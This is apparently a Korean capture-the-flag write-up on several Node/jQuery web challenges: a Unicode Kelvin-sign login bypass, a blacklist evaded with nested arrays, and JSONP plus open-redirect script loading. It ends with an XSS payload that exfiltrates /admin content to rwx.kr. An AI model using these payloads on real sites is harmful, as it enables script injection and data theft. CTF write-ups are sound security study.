자바스크립트에서 K(U+212a) 는 String.toLowerCase 함수를 통해, 아스키 문자인 k(0x6b) 로 변환됩니다. 따라서 {"username":"hac\u212aTm"} 를 파라미터로 하여 로그인하면, isValidUser 함수를 우회하고 관리자 페이지인 /updateUser 에 접근할 수 있게 됩니다.
1 2 3 4 5 6 7 8 9
app.get("/flag", (req, res) => { // Get the flag // Only for root if (req.user.id == 0) { res.send(ok({ flag: flag })); } else { res.send(err("Unauthorized")); } });
플래그를 얻기 위해서는 /flag 경로에 접근할 수 있어야 하는데, req.user.id 값을 0 으로 만들어야 합니다. 이 값은 /init 페이지에서 변경할 수 있습니다.
/init 에서는 sign 함수를 통해 req.users.id 값을 변경할 수 있습니다. 그러기 위해서는 pwHash 값인 md5(bigInt(String(p)).multiply(String(q)).toString()) 와 target 인 md5(config.n.toString()) 값이 동일해야만 합니다.
1 2 3 4 5 6 7 8
app.get("/serverInfo", (req, res) => { // Get server info // Only for logged in users
let user = users[req.user.id] || { rights: [] }; let info = user.rights.map(i => ({ name: i, value: config[i] })); res.json(ok({ info: info })); });
config.n 값은 /serverInfo 에서 알아낼 수 있습니다. user.rights.map 함수를 통하여 config[n] 값을 반환하도록 할 수 있는 가능성을 제공합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
app.post("/updateUser", (req, res) => { ... let rights = req.body.rights || []; if (rights.length > 0 && checkRights(rights)) { users[uid].rights = user.rights.concat(rights).filter(onlyUnique); } ... });
functioncheckRights(arr) { let blacklist = ["p", "n", "port"]; for (let i = 0; i < arr.length; i++) { const element = arr[i]; if (blacklist.includes(element)) { returnfalse; } } returntrue; }
따라서 위에서 설명했던 /updateUser 페이지를 통해 user.rights 에서 n 값을 넣어주면 되는데 checkRights 함수에서 blacklist.includes 를 통해 p, n, post 등의 문자열 값이 입력으로 들어올 경우 거부됩니다.
자바스크립트에서는 첨자를 사용하여 객체를 참조할 때, 키 값으로 문자열 이외의 값이 들어올 경우, 원시 타입으로 변환하여 키로 사용합니다. 따라서 checkRights 함수에서 입력으로 {"rights":[["n"]]} 과 같은 배열을 넣어줄 경우에, blacklist.includes 를 우회하여 /serverInfo 애서 config.n 값을 확인하도록 할 수 있습니다.
이후 /init 에서 q 값을 1으로, p 값으로 알아낸 config.n 값을 넣어주면 req.user.id 값을 0으로 만들 수 있고, /flag 에서 플래그를 확인할 수 있습니다.
functioncheckNewMessages() { var chat = $("#chat-personalization"); if (!chat.length) { return; } var chat_url = chat.data("chat_url"); var param = chat.data("param"); var start_qualifier = chat.data("start_qualifier"); var end_qualifier = chat.data("end_qualifier"); var source_path_empty = chat.data("source_path_empty"); var disable_cache = chat.data("disable_cache"); var css_selector = chat.data("css_selector"); var enable_decrypt = chat.data("enable_decrypt"); var last_update = +chat.data("last_update") || false;
if (!source_path_empty) { var vid = param; if (typeof vid != 'undefined') { var f = (disable_cache) ? vid.toLowerCase() : vid.toLowerCase().substring(0, 2); var c = (disable_cache) ? { _: newDate().getTime() } : {}; // personalize with backend data var ajax = $.getJSON(chat_url + f, c); ... } } }
따라서 ../../login?next=http://rwx.kr/1.js?x=? 를 유저명으로 하여 관리자에게 메시지를 보내면, 관리자는 위와 같은 형태의 함수 호출을 하게 됩니다. url 뒤에 ?x=? 를 붙여준 이유는 jquery의 getJSON 함수가 이와 같은 형태의 url 을 인자로 받으면 ? 부분에 jQuery34108898913333225196_1580687420744 와 같이 난수가 포함된 문자열로 요청을 시도하며, 받아온 결과값을 스크립트로서 실행하는 기능이 존재하기 때문입니다.
이러한 기능은 본래 jsonp 페이지를 지원하기 위해 존재하는 기능이지만, open redirection 취약점과 결합하면 공격자의 서버에서 임의의 스크립트를 받아와 실행하도록 할 수 있습니다.
var $page = $('.page'); var $pageFrame = $page.find('.page__frame'); var currentRoute = null;
var isValidUrl = function (url) { if ((url.toLowerCase().startsWith('//'))) { url = "https:" + url; }
let isValidUrl = isValidJSURL(url); let isUrl = isValidPattern(url); let sameDomain = url.toLowerCase().startsWith('/') && !url.substr(1).toLowerCase().startsWith('/');
let ret = ((isValidUrl && isUrl) || sameDomain);
return ret; };
var expression = /^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi; var regex = newRegExp(expression); var isValidPattern = function(url) { var urlNoQueryString = url.split('?')[0]; return (url != null && !(urlNoQueryString.match(regex) === null || (url.split(" ").length - 1) > 0)); };
var isValidJSURL = function (url) { if (!(url.toLowerCase().startsWith("http://") || url.toLowerCase().startsWith('https://'))) { url = 'https://' + url; }
/static/app.js 파일을 확인해 보면 hash 값에 주어진 문자열을 인자로 하여 isValidUrl 함수를 호출하여 안전한 주소인지 확인한 후에, iframe 태그의 src 속성으로 설정합니다.
1 2
/^(https?\:\/\/)?[a-zA-Z0-9_-]+(.[a-zA-Z0-9_-]+)*.[a-zA-Z]{2,4}(\/[a-zA-Z0-9_]+){0,15}(\/[a-zA-Z0-9_]+.[a-zA-Z]{2,4}(\?[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+)?)?(\&[a-zA-Z0-9_]+\=[a-zA-Z0-9_]+){0,15}$/gi // matches with https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1) ...
먼저 isUrl 에서 사용하는 정규식이 상당히 번잡한데, url의 . 문자가 escape 되지 않고 모든 문자와 매칭되도록 하고 있습니다. 따라서 https://javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,alert(1) 를 통해 우회할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13
var isValidJSURL = function (url) { if (!(url.toLowerCase().startsWith("http://") || url.toLowerCase().startsWith('https://'))) { url = 'https://' + url; }
위에서 필터링 함수를 우회하는데에 성공하면 hash 값을 조작함으로써 마음대로 스크립트를 실행할 수 있는데, csp와 Object.freeze(location) 을 통해 외부로 데이터 전송을 방지하고 있습니다. 하지만 top.location.replace('...') 을 통해 location 이동을 하여 외부로 데이터를 보내도록 할 수 있습니다.
hidden 타입의 input 태그를 확인할 수 있는데, 여기에 만든 페이로드인 /#javascript:80/1-%60html;t/aa/b/c,pa?a=1%60,fetch('/admin').then(x=%3Ex.text()).then(x=%3Etop.location.replace('//rwx.kr/?'%2bbtoa(x))) 를 전송해 주면 곧 관리자가 확인하고, /admin 페이지 내용이 수신됩니다.